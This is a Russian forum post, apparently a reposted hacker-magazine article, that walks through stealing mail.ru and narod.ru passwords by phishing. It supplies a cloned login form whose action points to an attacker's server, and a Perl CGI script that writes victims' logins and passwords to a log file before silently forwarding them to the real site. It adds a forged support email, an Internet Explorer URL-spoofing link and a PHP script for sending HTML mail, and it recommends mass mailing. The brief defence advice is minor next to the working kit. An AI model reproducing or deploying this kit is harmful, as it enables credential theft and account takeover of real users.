URL-spoofing как средство взлома

CUK77

Professional
Messages
1,193
Reputation
3
Reaction score
396
Points
83
Ты никогда не думал, как хакеры могут выдирать пароли от почтовых ящиков? Как они получают к ним доступ? Задумывался ли ты о том, что хакеры могут выманить пароль у тебя самого, и при этом ты даже не заметишь, что что-то произошло? Нет? А такое вполне вероятно. Не веришь – читай дальше.

Механизм авторизации на mail.ru

Представь себе следующую ситуацию. Ты пользуешься бесплатной почтовой службой mail.ru и знаешь, что о безопасности твоего mail-box’a позаботятся грамотные админы этого сервиса. На всякий пожарный ты никогда нигде не сохраняешь пароль, чтобы случайный взломщик, захаксоривший твою тачку (не дай Бог, конечно), оказался в обломе. И вот однажды ты получаешь письмо от службы поддержки с просьбой пройти повторную авторизацию. Ничего не подозревая, ты в очередной раз логинишься на mail.ru и через некоторое время замечаешь, что твоей почтой кто-то рулит: читает твои письма и пишет всякие гадости от твоего имени. Как же такое могло произойти? Ведь ты поставил восьмисимвольный пароль 'j87$*#2l'!

Итак, рассмотрим действия хакера, с помощью которых он сможет получить акцес к твоей почте. Сначала он заходит на mail.ru и сохраняет главную страницу к себе на хард. Потом регает где-нибудь сайт, заливает свежескачанную страницу себе на сервер. Представим, что взломщик порегал сайт http://mailru.nsd.ru. Теперь его пага – это копия mail.ru. Если залогиниться на этой странице, то логин с паролем перешлются на mail.ru, а мы попадем в свой почтовый ящик.

Давай посмотрим, как же выглядит сама форма авторизации в виде html:

HTML-форма

Code:
<form name="Auth" method=post action=http://win.mail.ru/cgi-bin/auth>

<input type=hidden name=Mpopl value=659612478>

<input type=hidden name=login_from value=titul>

<input type=checkbox name="level" value=1>

<input type="text" name="Login" value="" size="12">

<select size="1" name="Domain">

<option value="mail.ru" >@mail.ru</option>

<option value="inbox.ru">@inbox.ru</option>

<option value="bk.ru" >@bk.ru</option>

<option value="list.ru" >@list.ru</option>

</select>

<input size="14" type="password" name="Password" value="">

<input TYPE=submit name="" value="Войти">

</form>

Мы видим, что данные, которые юзер введет в форму, отправляются методом POST скрипту http://win.mail.ru/cgi-bin/auth. А что произойдет, если он вдруг подставит туда URL своего скрипта? Например, что-нибудь вроде http://mailru.nsd.ru/cgi-bin/auth.cgi? Ясень пень, тогда логин и пароль перешлются не на mail.ru, а уже прямо скрипту хакера! Чуешь, чем это пахнет?

Рассмотрим этот самый скрипт auth.cgi, которым воспользуется хакер для успешного приема логина и пароля от пользователя.

Как он работает. Скрипт получает необходимые данные, сохраняет их в отдельный файл, а потом посылает юзера с его логином и паролем на настоящий сценарий авторизации (http://win.mail.ru/cgi-bin/auth). В итоге, пользователь, ничего не замечая, успешно попадает в свой почтовый ящик. Но фишка в том, что логин с паролем останутся у хакера! А вот сам исходник скрипта:

Исходник скрипта-авторизации

Code:
#!/usr/bin/perl

&parse_form;

# открываем файл log.txt для добавления инфы

open LOG,">>../log.txt";

# записываем туда логин и пароль от ящика

print LOG "$FORM{'Login'} @ $FORM{'Domain'}, pass:$FORM{'Password'}\n";

# закрываем файл

close LOG;

# все, пароль сперт!

# теперь перекидываем на mail.ru:

print "Content-Type: text/html\n\n";

print "<HTML><BODY>\n";

# создаем ту же форму, что и на настоящем mail.ru

print "<form name=\"Auth\" method=post action=http://win.mail.ru/cgi-bin/auth>\n";

print "<input type=hidden name=Mpopl value=1892134183>\n";

print "<input type=hidden name=login_from value=titul>\n";

print "<input type=hidden name=\"level\" value=1>\n";

print "<input type=hidden name=\"Login\" value=\"$FORM{'Login'}\">\n";

print "<input type=hidden name=\"Password\" value=\"$FORM{'Password'}\">\n";

print "<input type=hidden name=\"Domain\" value=\"$FORM{'Domain'}\">\n";

print "<input TYPE=hidden name=\"\" value=\"Войти\">\n";

# без участия пользователя жмем на невидимую кнопку submit =)

print "<script language=javascript>Auth.submit()</script>\n";

print "</form>\n";

print "</BODY></HTML>\n";

Собственно, вот и весь скрипт сетевого подонка. Теперь хакер заливает его в диру cgi-bin, не забывая при этом поставить соответствующий chmod (755). Далее он меняет на своей странице экшен формы: строку <form name="Auth" method=post action=http://win.mail.ru/cgi-bin/auth> на <form name="Auth" method=post action=http://mailru.nsd.ru/cgi-bin/auth.cgi>, чтобы пароль отправлялся его скрипту.

Превращение mailru.nsd.ru в mail.ru

Все это здорово, но в адресной строке по-прежнему остается http://mailru.nsd.ru. Это трудно не заметить :). Надо что-то делать. Можно, конечно, вообще убрать строку адреса с помощью JavaScript'a, но лучше поискать более подходящую альтернативу. Посмотрим на последние новости bug-traq, связанные с Internet Explorer'ом:

URL spoofing

Адрес с описанием ошибки: www.securitylab.ru/41661.html

Уязвимость обнаружена в Internet Explorer. Злонамеренный пользователь может отобразить поддельный URL в адресной строке. А именно включить "%01" после имени пользователя и справа перед символом "@" в URL, чтобы заставить браузер отобразить в адресной строке неправильный FQDN, отличный от запрашиваемого домена.

Решение: способов устранения обнаруженной уязвимости в настоящее время не существует.

Пользуясь этим подарочком от мелкомягких, хаксор может заманить жертву на страницу с поддельной ссылкой на mail.ru (собственно говоря, так можно заманить вообще куда угодно – прим. ред.).

Также сетевой подонок может написать жертве письмо в формате html от имени службы поддержки mail.ru:

Form: Служба поддержки пользователей почтовой системы Mail.Ru <[email protected]>

To: <[email protected]>

Subj: Изменения в работе почтовой службы Mail.ru

<HTML><BODY>

Уважаемый пользователь!

В программном обеспечении сервера было произведено изменение, в связи с чем Вам необходимо пройти повторную веб-авторизацию на почтовом сервере mail.ru.
Code:
<a href="http://mailru.nsd.ru" target="_new" OnMouseOver="window.status='http://mail.ru';location.href=unescape('http://mail.ru%[email protected]');return true;"

onMouseOut="location.href=unescape('http://mail.ru%[email protected]');">http://mail.ru</a>

</BODY></HTML>

В итоге, при наведении на ссылку в строке статуса отобразится урл http://mail.ru и откроется окно с левым mail.ru (в нашем случае – mail.nsd.ru), причем в строке адреса опять будет написан тот же mail.ru.

Сбор урожая

После отправки подобного письма хакеру остается лишь подождать, когда же лопоухий юзверь "пройдет повторную авторизацию". В случае успеха в файле http://mailru.nsd.ru/log.txt появится новая запись с логином и паролем.

Как ты, наверное, понимаешь, таким способом можно ломать не только почтовые сервисы, но и аккаунты пользователей хостингов. Возьмем для примера популярный бесплатный хостинг narod.ru. Достаточно скопировать страницу с формой ввода пароля и в форме LoginForm вместо action=http://passport.yandex.ru/cgi-bin/Reg.pl?mode=auth.. указать адрес левого скрипта (action=http://nsd.ru/cgi-bin/narod-auth.cgi). Осталось сделать массовую рассылку писем с просьбой заново залогиниться, чтобы получить кучу аккаунтов от различных пользователей.

Как от этого защититься?

Чтобы защититься от такого вида социальной инженерии, надо учиться на чужих ошибках и всегда задумываться, а не хотят ли кинуть тебя. Так что будь начеку. И если кто-то вдруг предложит зайти на некий сайт, лишний раз подумай, нет ли там какой-нибудь подставы. Также не стоит юзать осла (MSIE). Лучше поставь какой-нибудь менее распространенный браузер, где хакеры еще не отловили много багов. Могу посоветовать два браузера: Opera (www.opera.com) и Mozilla (www.mozilla.org).

Выводы

А выводы весьма печальные. Ошибки в IE обнаруживаются чуть ли не каждый день. И вряд ли их станет меньше. К тому же недавно выложили часть сорсов win2k. Теперь багокопатели заработают еще жестче. А юзеры, по своей лени или тупости, будут по-прежнему забывать ставить заплатки, что в итоге приведет к появлению в Сети тысяч потенциальных жертв. И, естественно, их кто-нибудь будет ломать. Так что мой тебе совет: всегда следи за новыми ошибками, патчи себя и будь бдителен! Не дай себя обмануть!

Как можно послать письмо в формате html

Намылить письмо в виде произвольной html-страницы не так просто, как кажется на первый взгляд. Дело в том, что далеко не все почтовые софтины позволяют это делать. Однако написать скрипт, позволяющий отсылать любые html’ники, гораздо проще. Разница между простым текстовым письмом и форматированным лишь в том, что в заголовке письма, а конкретно в поле Content-Type стоит значение text/plain вместо text/html.

Вот PHP-cкрипт для отправки мыла в хтмл-формате:

Code:
<?

$from = "[email protected]"; // от кого

$email = "[email protected]"; // куда отправить

$topic = "Subj"; // тема письма

$message = "<HTML>...</HTML>"; // текст письма

// собираем письмо

$headers = "From: ".$from."\r\nReply-To: ".$from."\r\n";

$headers .= "MIME-Version: 1.0\r\n";

$headers .= "Content-Type: text/html;";

$body .= $message."\r\n\r\n";

mail ($email, $topic, $body, $headers); // отправляем

?>

INFO

В Internet Explorer’е присутствует множество других ошибок, которые могут привести к угону чужих аккаунтов. Например, ошибки в CSS.
 
Top